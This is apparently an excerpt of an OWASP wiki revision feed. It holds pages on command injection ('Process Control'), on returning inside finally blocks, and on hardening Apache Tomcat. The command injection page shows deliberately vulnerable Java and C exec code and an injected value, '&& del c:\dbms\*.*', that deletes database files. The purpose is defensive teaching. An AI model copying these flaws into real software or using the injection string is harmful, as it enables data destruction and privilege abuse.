        assertEquals(&amp;quot;only 3 spaces&amp;quot;, &amp;quot;\\  \\ &amp;quot;, escapeDN(&amp;quot;   &amp;quot;));&lt;br /&gt;
        assertEquals(&amp;quot;Christmas Tree DN&amp;quot;, &amp;quot;\\ Hello\\\\ \\+ \\, \\\&amp;quot;World\\\&amp;quot; \\;\\ &amp;quot;, Test.escapeDN(&amp;quot; Hello\\ + , \&amp;quot;World\&amp;quot; ; &amp;quot;));&lt;br /&gt;
&lt;br /&gt;
        assertEquals(&amp;quot;No special characters to escape&amp;quot;, &amp;quot;Hi This is a test #çà&amp;quot;, SecTool.escapeLDAPSearchFilter(&amp;quot;Hi This is a test #çà&amp;quot;));&lt;br /&gt;
        assertEquals(&amp;quot;LDAP Christams Tree&amp;quot;, &amp;quot;Hi \\28This\\29 = is \\2a a \\5c test # ç à ô&amp;quot;, SecTool.escapeLDAPSearchFilter(&amp;quot;Hi (This) = is * a \\ test # ç à ô&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Process_Control&amp;diff=235290</id>
		<title>Process Control</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Process_Control&amp;diff=235290"/>
				<updated>2017-11-10T21:48:39Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
Executing commands from an untrusted source or in an untrusted environment can cause an application to execute malicious commands on behalf of an attacker.&lt;br /&gt;
&lt;br /&gt;
Process control vulnerabilities take two forms:&lt;br /&gt;
&lt;br /&gt;
* An attacker can change the command that the program executes: the attacker explicitly controls what the command is. &lt;br /&gt;
* An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means. &lt;br /&gt;
&lt;br /&gt;
We will first consider the first scenario, the possibility that an attacker may be able to control the command that is executed. Process control vulnerabilities of this type occur when:&lt;br /&gt;
&lt;br /&gt;
# Data enters the application from an untrusted source. &lt;br /&gt;
# The data is used as or as part of a string representing a command that is executed by the application. &lt;br /&gt;
# By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
The following Java code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	...&lt;br /&gt;
	String home = System.getProperty(&amp;quot;APPHOME&amp;quot;);&lt;br /&gt;
	String cmd = home + INITCMD; &lt;br /&gt;
	java.lang.Runtime.getRuntime().exec(cmd);&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The code in Example 1 allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	...&lt;br /&gt;
	String btype = request.getParameter(&amp;quot;backuptype&amp;quot;);&lt;br /&gt;
	String cmd = new String(&amp;quot;cmd.exe /K &lt;br /&gt;
	\&amp;quot;c:\\util\\rmanDB.bat &amp;quot;+btype+&amp;quot;&amp;amp;&amp;amp;c:\\utl\\cleanup.bat\&amp;quot;&amp;quot;)&lt;br /&gt;
	System.Runtime.getRuntime().exec(cmd);&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell first in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form &amp;quot;&amp;amp;&amp;amp; del c:\\dbms\\*.*&amp;quot;, then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
&lt;br /&gt;
The C code below is from a web-based CGI utility that allows users to change their passwords. The password update process under NIS includes running make in the /var/yp directory. Note that since the program updates password records, it has been installed setuid root.&lt;br /&gt;
&lt;br /&gt;
The program invokes make as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	system(&amp;quot;cd /var/yp &amp;amp;&amp;amp; make &amp;amp;&amp;gt; /dev/null&amp;quot;);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Unlike the previous examples, the command in this example is hardcoded, so an attacker cannot control the argument passed to system(). However, since the program does not specify an absolute path for make and does not scrub any environment variables prior to invoking the command, the attacker can modify their $PATH variable to point to a malicious binary named make and execute the CGI script from a shell prompt. And since the program has been installed setuid root, the attacker's version of make now runs with root privileges.&lt;br /&gt;
&lt;br /&gt;
The environment plays a powerful role in the execution of system commands within programs. Functions like system() and exec() use the environment of the program that calls them, and therefore attackers have a potential opportunity to influence the behavior of these calls.&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Command Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
Note: A reference to related [http://cwe.mitre.org/ CWE] or [http://capec.mitre.org/ CAPEC] article should be added when exists. Eg:&lt;br /&gt;
&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/79.html CWE 79].&lt;br /&gt;
* http://www.link1.com&lt;br /&gt;
* [http://www.link2.com Title for the link2]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Input Validation Vulnerability]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Return_Inside_Finally_Block&amp;diff=235289</id>
		<title>Return Inside Finally Block</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Return_Inside_Finally_Block&amp;diff=235289"/>
				<updated>2017-11-10T21:48:26Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
Returning from inside a finally block will cause exceptions to be lost.&lt;br /&gt;
&lt;br /&gt;
A return statement inside a finally block will cause any exception that might be thrown in the try block to be discarded.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
In the following code excerpt, the IllegalArgumentException will never be delivered to the caller. The finally block will cause the exception to be discarded.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	try {&lt;br /&gt;
	  ...&lt;br /&gt;
	  throw IllegalArgumentException();&lt;br /&gt;
	}&lt;br /&gt;
	finally {&lt;br /&gt;
	  return r;&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Attack 1]]&lt;br /&gt;
* [[Attack 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[Error Handling]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
Note: A reference to related [http://cwe.mitre.org/ CWE] or [http://capec.mitre.org/ CAPEC] article should be added when exists. Eg:&lt;br /&gt;
&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/79.html CWE 79].&lt;br /&gt;
* http://www.link1.com&lt;br /&gt;
* [http://www.link2.com Title for the link2]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Error Handling Vulnerability]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Implementation]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Securing_tomcat&amp;diff=235288</id>
		<title>Securing tomcat</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Securing_tomcat&amp;diff=235288"/>
				<updated>2017-11-10T21:48:13Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{taggedDocument&lt;br /&gt;
| type=partialOld&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
==Status==&lt;br /&gt;
''' * Content should provide a link and references to '''&lt;br /&gt;
&amp;lt;s&amp;gt;     - SecureTomcat - http://securetomcat.googlecode.com&amp;lt;/s&amp;gt;&lt;br /&gt;
Released 14/1/2007&lt;br /&gt;
Updated 10/7/2014&lt;br /&gt;
&lt;br /&gt;
https://tomcat.apache.org/tomcat-7.0-doc/security-howto.html&lt;br /&gt;
&lt;br /&gt;
https://tomcat.apache.org/tomcat-8.0-doc/security-howto.html is almost the same...&lt;br /&gt;
&lt;br /&gt;
== Authors ==&lt;br /&gt;
Darren Edmonds&lt;br /&gt;
&lt;br /&gt;
Jacques Le Roux&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
Most weaknesses in [http://tomcat.apache.org/ Apache Tomcat] come from incorrect or inappropriate configuration.  It is nearly always possible to make Tomcat more secure than the default out of the box installation.  What follows documents best practices and recommendations on securing a production Tomcat server, whether it be hosted on a Windows or Unix based operating system.  ''Please note that the section ordering is not a representation of the section importance.''&lt;br /&gt;
&lt;br /&gt;
== Software Versions ==&lt;br /&gt;
&lt;br /&gt;
The first step is to make sure you are running the latest stable releases of software;&lt;br /&gt;
* Java Runtime Environment (JRE) or SDK&lt;br /&gt;
* Tomcat&lt;br /&gt;
* Third-party libraries&lt;br /&gt;
&lt;br /&gt;
Many software projects, including Tomcat and Java, maintain multiple branches.  New features are added to more recent branches, the older branches receive only bug-fixes and security updates.  This allows developers to advance the software without disrupting production environments.  Be aware of which branch you have deployed, and track new releases within that branch.&lt;br /&gt;
&lt;br /&gt;
For example, if you are running Tomcat 5.5.'''26''', you should watch for new versions within the 5.5 branch (e.g. 5.5.'''27''') and upgrade to this bug-fix version.  If you are content to stick with the Tomcat 5.5 branch then it is not necessary to upgrade to a new '''6.0'''.18 version.&lt;br /&gt;
&lt;br /&gt;
You should subscribe to announcement lists for Tomcat, and any other software you deploy, to stay abreast of new versions released due to security issues.  As soon as a security issue is disclosed, potential attackers will begin trying to exploit that vulnerability.  It is important that you upgrade your software before an attacker uses the vulnerability against you.&lt;br /&gt;
&lt;br /&gt;
== Installation of Apache Tomcat ==&lt;br /&gt;
&lt;br /&gt;
=== UNIX ===&lt;br /&gt;
&lt;br /&gt;
* Create a tomcat user/group&lt;br /&gt;
* Download and unpack the core distribution (referenced as '''CATALINA_HOME''' from now on)&lt;br /&gt;
* Change '''CATALINA_HOME''' ownership to tomcat user and tomcat group&lt;br /&gt;
* Change files in '''CATALINA_HOME'''/conf to be readonly (400)&lt;br /&gt;
* Make sure tomcat user has read/write access to /tmp and write (300 - yes, only write/execute) access to '''CATALINA_HOME'''/logs&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
* Download the core windows service installer&lt;br /&gt;
* Start the installation, click ''Next'' and ''Agree'' to the licence&lt;br /&gt;
* Untick ''native'', ''documentation'', ''examples'' and ''webapps'' then click ''Next''&lt;br /&gt;
* Choose an installation directory (referenced as '''CATALINA_HOME''' from now on), preferably on a different drive to the OS.  &lt;br /&gt;
* Choose an administrator username (NOT admin) and a secure password that complies with your organisations password policy.&lt;br /&gt;
* Complete tomcat installation, but do not start service.&lt;br /&gt;
&lt;br /&gt;
=== Common ===&lt;br /&gt;
&lt;br /&gt;
* Remove everything from '''CATALINA_HOME'''/webapps (ROOT, balancer, jsp-examples, servlet-examples, tomcat-docs, webdav)&lt;br /&gt;
&lt;br /&gt;
* Remove everything from '''CATALINA_HOME'''/server/webapps (host-manager, manager).  Note that it can be useful to keep the manager webapp installed if you need the ability to redeploy without restarting Tomcat.  If you choose to keep it please read the section on Securing the Manager WebApp.&lt;br /&gt;
&lt;br /&gt;
* Remove '''CATALINA_HOME'''/conf/Catalina/localhost/host-manager.xml and '''CATALINA_HOME'''/conf/Catalina/localhost/manager.xml (again, if you are keeping the manager application, do not remove this).&lt;br /&gt;
&lt;br /&gt;
* Make sure the default servlet is configured '''not''' to serve index pages when a welcome file is not present.  In '''CATALINA_HOME'''/conf/web.xml&lt;br /&gt;
  &amp;lt;servlet&amp;gt;&lt;br /&gt;
    &amp;lt;servlet-name&amp;gt;default&amp;lt;/servlet-name&amp;gt;&lt;br /&gt;
    &amp;lt;servlet-class&amp;gt;org.apache.catalina.servlets.DefaultServlet&amp;lt;/servlet-class&amp;gt;&lt;br /&gt;
    &amp;lt;init-param&amp;gt;&lt;br /&gt;
      &amp;lt;param-name&amp;gt;debug&amp;lt;/param-name&amp;gt;&lt;br /&gt;
      &amp;lt;param-value&amp;gt;0&amp;lt;/param-value&amp;gt;&lt;br /&gt;
    &amp;lt;/init-param&amp;gt;&lt;br /&gt;
    &amp;lt;init-param&amp;gt;&lt;br /&gt;
      &amp;lt;param-name&amp;gt;listings&amp;lt;/param-name&amp;gt;&lt;br /&gt;
      &amp;lt;param-value&amp;gt;'''false'''&amp;lt;/param-value&amp;gt;  &amp;amp;lt;!-- make sure this is false --&amp;amp;gt;&lt;br /&gt;
    &amp;lt;/init-param&amp;gt;&lt;br /&gt;
    &amp;lt;load-on-startup&amp;gt;1&amp;lt;/load-on-startup&amp;gt;&lt;br /&gt;
  &amp;lt;/servlet&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove version string from HTTP error messages by repacking '''CATALINA_HOME'''/server/lib/catalina.jar with an updated ServerInfo.properties file.  Note that making this change may prevent [http://www.lambdaprobe.org  Lambda Probe] (popular Tomcat monitoring webapp) to initialise as it cannot determine the Tomcat version.  A solution to this can be found on the [http://www.lambdaprobe.org/forum2/message.jspa?messageID=477 Lambda Probe Forum]. An alternative to repackaging the JAR is available on the [https://www.owasp.org/index.php/Talk:Securing_tomcat Discussion] page.&lt;br /&gt;
&lt;br /&gt;
:unpack catalina.jar&lt;br /&gt;
  cd CATALINA_HOME/server/lib&lt;br /&gt;
  jar xf catalina.jar org/apache/catalina/util/ServerInfo.properties&lt;br /&gt;
:update ServerInfo.properties by changing server.info line to server.info=Apache Tomcat&lt;br /&gt;
:repackage catalina.jar&lt;br /&gt;
  jar uf catalina.jar org/apache/catalina/util/ServerInfo.properties&lt;br /&gt;
:remove CATALINA_HOME/server/lib/org (created when extracting the ServerInfo.properties file)&lt;br /&gt;
&lt;br /&gt;
* Replace default error page (default is stacktrace) by adding the following into '''CATALINA_HOME'''/conf/web.xml.  The default error page shows a full stacktrace which is a disclosure of sensitive information.  Place the following within the ''web-app'' tag (after the ''welcome-file-list'' tag is fine). ''The following solution is not ideal as it produces a blank page because Tomcat cannot find the file specified, but without a better solution this, at least, achieves the desired result.  A well configured web application will override this default in CATALINA_HOME/webapps/APP_NAME/WEB-INF/web.xml so it won't cause problems.''&lt;br /&gt;
  &amp;lt;error-page&amp;gt;&lt;br /&gt;
    &amp;lt;exception-type&amp;gt;java.lang.Throwable&amp;lt;/exception-type&amp;gt;&lt;br /&gt;
    &amp;lt;location&amp;gt;/error.jsp&amp;lt;/location&amp;gt;&lt;br /&gt;
  &amp;lt;/error-page&amp;gt;&lt;br /&gt;
* Rename '''CATALINA_HOME'''/conf/server.xml to '''CATALINA_HOME'''/conf/server-original.xml and rename '''CATALINA_HOME'''/conf/server-minimal.xml to '''CATALINA_HOME'''/conf/server.xml.  The minimal configuration provides the same basic configuration, but without the nested comments is much easier to maintain and understand.  Do not delete the original file as the comments make it useful for reference if you ever need to make changes - e.g. enable SSL.&lt;br /&gt;
&lt;br /&gt;
* Replace the server version string from HTTP headers in server responses, by adding the server keyword in your Connectors in '''CATALINA_HOME'''/conf/server.xml&lt;br /&gt;
  &amp;lt;Connector port=&amp;quot;8080&amp;quot; ...&lt;br /&gt;
             server=&amp;quot;Apache&amp;quot; /&amp;gt;  &amp;amp;lt;!-- server header is now Apache --&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Start Tomcat, deploy your applications into '''CATALINA_HOME'''/webapps and hope it works!&lt;br /&gt;
&lt;br /&gt;
== Protecting the Shutdown Port ==&lt;br /&gt;
Tomcat uses a port (defaults to 8005) as a shutdown port.  What this means is that to stop all webapps and stop Tomcat cleanly the shutdown scripts make a connection to this port and send the ''shutdown'' command.  This is not as huge a security problem as it may sound considering the connection to the port must be made from the machine running tomcat and the ''shutdown'' command can be changed to something other than the string ''SHUTDOWN''.  However, it's wise to take the following precautions;&lt;br /&gt;
* if you are running a publicly accessible server make sure you prevent external access to the shutdown port by using a suitable firewall.&lt;br /&gt;
* change the shutdown command in '''CATALINA_HOME'''/conf/server.xml and make sure that file is only readable by the tomcat user.&lt;br /&gt;
  &amp;amp;lt;Server port=&amp;quot;8005&amp;quot; shutdown=&amp;quot;ReallyComplexWord&amp;quot;&amp;amp;gt;&lt;br /&gt;
* if this is still a big problem for you then check [http://marc.theaimsgroup.com/?l=tomcat-user&amp;amp;m=104400608619118&amp;amp;w=2 this thread], from the Tomcat mailing list, for alternatives (they all involve code customisation though).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Securing Manager WebApp ==&lt;br /&gt;
&lt;br /&gt;
* By default there are no users with the manager role.  To make use of the manager webapp you need to add a new role and user into the '''CATALINA_HOME'''/conf/tomcat-users.xml file.&lt;br /&gt;
  &amp;lt;role rolename=&amp;quot;manager&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;user username=&amp;quot;darren&amp;quot; password=&amp;quot;ReallyComplexPassword&amp;quot; roles=&amp;quot;manager&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When you access the password-protected manager webapp, the password you enter will be sent over the network in (nearly) plain text, ripe for interception.  By using an SSL connection instead, you can transport the password securely.  Fortunately, this is simple to accomplish.  After configuring an SSL Connector in server.xml (see your Tomcat documentation), simply add the following to '''CATALINA_HOME'''/webapps/manager/WEB-INF/web.xml inside of the &amp;lt;security-constraint&amp;gt;&amp;lt;/security-constraint&amp;gt; tags.&lt;br /&gt;
   &amp;lt;user-data-constraint&amp;gt;&lt;br /&gt;
      &amp;lt;transport-guarantee&amp;gt;CONFIDENTIAL&amp;lt;/transport-guarantee&amp;gt;&lt;br /&gt;
   &amp;lt;/user-data-constraint&amp;gt;&lt;br /&gt;
: This will force an SSL connection to be used when accessing the manager webapp.  Plus, with a little more work, the SSL Connector can be configured to require a client certificate.&lt;br /&gt;
&lt;br /&gt;
* Using a [http://tomcat.apache.org/tomcat-5.5-doc/config/valve.html valve] to filter by IP or hostname to only allow a subset of machines to connect (i.e. LAN machines).  Add one of the following within the Context tag in '''CATALINA_HOME'''/conf/Catalina/localhost/manager.xml&lt;br /&gt;
  &amp;amp;lt;!-- allow only LAN IPs to connect to the manager webapp --&amp;amp;gt;&lt;br /&gt;
  &amp;amp;lt;!-- contrary to the current Tomcat 5.5 documation the value for '''allow''' is not a regular expression --&amp;amp;gt;&lt;br /&gt;
  &amp;amp;lt;!-- future versions may have to be specified as 192\.168\.1\.* --&amp;amp;gt;&lt;br /&gt;
  &amp;lt;Valve className=&amp;quot;org.apache.catalina.valves.RemoteAddrValve&amp;quot;&lt;br /&gt;
         allow=&amp;quot;192.168.1.*&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;amp;lt;!-- allow only LAN hosts to connect to the manager webapp --&amp;amp;gt;&lt;br /&gt;
  &amp;amp;lt;!-- contrary to the current Tomcat 5.5 documation the value for '''allow''' is not a regular expression --&amp;amp;gt;&lt;br /&gt;
  &amp;amp;lt;!-- future versions may have to be specified as *\.localdomain\.com --&amp;amp;gt;&lt;br /&gt;
  &amp;lt;Valve className=&amp;quot;org.apache.catalina.valves.RemoteHostValve&amp;quot;&lt;br /&gt;
         allow=&amp;quot;*.localdomain.com&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Rename the manager webapp. &lt;br /&gt;
 &lt;br /&gt;
: This is 'security through obscurity'.  Although widely maligned, obscurity is a useful adjunct security measure on a one-off basis. A would-be attacker seeking to gain access to the manager webapp will look for it in its usual location.  By renaming it, you force the attacker to guess URLs or assume that it is not installed.  It is important to note that you are not ''relying'' upon this obscurity for security, but rather using it as a backup measure in case someone finds a way around the remote valve filter you have configured as described above.&lt;br /&gt;
&lt;br /&gt;
: To rename the manager webapp, decide on the new name (we'll use ''foobar'' in this example), and:&lt;br /&gt;
&lt;br /&gt;
** Move '''CATALINA_HOME'''/conf/Catalina/localhost/'''manager.xml''' to '''CATALINA_HOME'''/conf/Catalina/localhost/'''foobar.xml'''&lt;br /&gt;
** Update the '''docBase''' attribute within '''CATALINA_HOME'''/conf/Catalina/localhost/'''foobar.xml''' to ${catalina.home}/server/webapps/foobar&lt;br /&gt;
** Move '''CATALINA_HOME'''/server/webapps/'''manager''' to '''CATALINA_HOME'''/server/webapps/'''foobar'''&lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
&lt;br /&gt;
As of tomcat 5.5 logging is now handled by the commons-logging framework allowing you to choose your preferred logging implementation - log4j or standard JDK logging.  By default the standard JDK logging is used (or a compatible extension called juli to be more precise), storing daily log files in '''CATALINA_HOME'''/logs.&lt;br /&gt;
&lt;br /&gt;
By default additional webapp log entries are added to '''CATALINA_HOME'''/logs/catalina.YYYY-MM-DD.log and System.out/System.err are redirected to '''CATALINA_HOME'''/logs/catalina.out.  To place webapp log entries in individual log files create a ''logging.properties'' file similar to the following within '''CATALINA_HOME'''/webapps/''APP_NAME''/WEB-INF/classes (change the ''APP_NAME'' value to create a unique file for each webapp)&lt;br /&gt;
&lt;br /&gt;
  handlers = org.apache.juli.FileHandler, java.util.logging.ConsoleHandler&lt;br /&gt;
  org.apache.juli.FileHandler.level = ALL&lt;br /&gt;
  org.apache.juli.FileHandler.directory = ${catalina.base}/logs&lt;br /&gt;
  org.apache.juli.FileHandler.prefix = APP_NAME.&lt;br /&gt;
&lt;br /&gt;
Further details on logging configuration can be found in the [http://tomcat.apache.org/tomcat-5.5-doc/logging.html tomcat logging documentation.]&lt;br /&gt;
&lt;br /&gt;
If you find you get logging output duplicated in catalina.out, you most likely have unnecessary entries for ''java.util.logging.ConsoleHandler'' in your logging configuration file.&lt;br /&gt;
&lt;br /&gt;
== Encryption ==&lt;br /&gt;
&lt;br /&gt;
* SSL for password or other sensitive data exchange (''bordering on application security, not specific to tomcat'')&lt;br /&gt;
* SSL for connections (JDBC, LDAP, etc ..)&lt;br /&gt;
* The Tomcat documentation clearly explains how to [http://tomcat.apache.org/tomcat-5.5-doc/ssl-howto.html enable SSL.]&lt;br /&gt;
&lt;br /&gt;
=== Sample Configuration - Good Security ===&lt;br /&gt;
&lt;br /&gt;
Balance between compatibility and security. Supports blocking IO. Tested on Tomcat 7.0.54 and JVM 1.7.0_60-b19. &lt;br /&gt;
Supported clients include:&lt;br /&gt;
* Android 4.0.4 and later&lt;br /&gt;
* Chrome 37 and later&lt;br /&gt;
* Firefox 24 and later&lt;br /&gt;
* IE 7 and later EXCEPT on Win XP&lt;br /&gt;
* IE Mobile 10 and later&lt;br /&gt;
* Java 7u25 and later&lt;br /&gt;
* Safari 5.1.9 and later&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
    &amp;lt;Connector port=&amp;quot;443&amp;quot; &lt;br /&gt;
               protocol=&amp;quot;org.apache.coyote.http11.Http11Protocol&amp;quot;&lt;br /&gt;
               SSLEnabled=&amp;quot;true&amp;quot;&lt;br /&gt;
               maxThreads=&amp;quot;150&amp;quot;&lt;br /&gt;
               scheme=&amp;quot;https&amp;quot;&lt;br /&gt;
               secure=&amp;quot;true&amp;quot;&lt;br /&gt;
               keystoreFile=&amp;quot;..\ssl\keystore&amp;quot;&lt;br /&gt;
               keystorePass=&amp;quot;yourpasswordgoeshere&amp;quot;&lt;br /&gt;
               clientAuth=&amp;quot;false&amp;quot;&lt;br /&gt;
               sslProtocol=&amp;quot;TLSv1.2&amp;quot;&lt;br /&gt;
               sslEnabledProtocols=&amp;quot;TLSv1.2,TLSv1.1,TLSv1&amp;quot;&lt;br /&gt;
               ciphers=&amp;quot;TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,&lt;br /&gt;
                        TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384,&lt;br /&gt;
                        TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,&lt;br /&gt;
                        TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256,&lt;br /&gt;
                        TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384,&lt;br /&gt;
                        TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA,&lt;br /&gt;
                        TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384,TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384,&lt;br /&gt;
                        TLS_ECDH_RSA_WITH_AES_256_CBC_SHA,TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA,&lt;br /&gt;
                        TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256,&lt;br /&gt;
                        TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA,&lt;br /&gt;
                        TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256,TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256,&lt;br /&gt;
                        TLS_ECDH_RSA_WITH_AES_128_CBC_SHA,TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA&amp;quot;&lt;br /&gt;
    /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
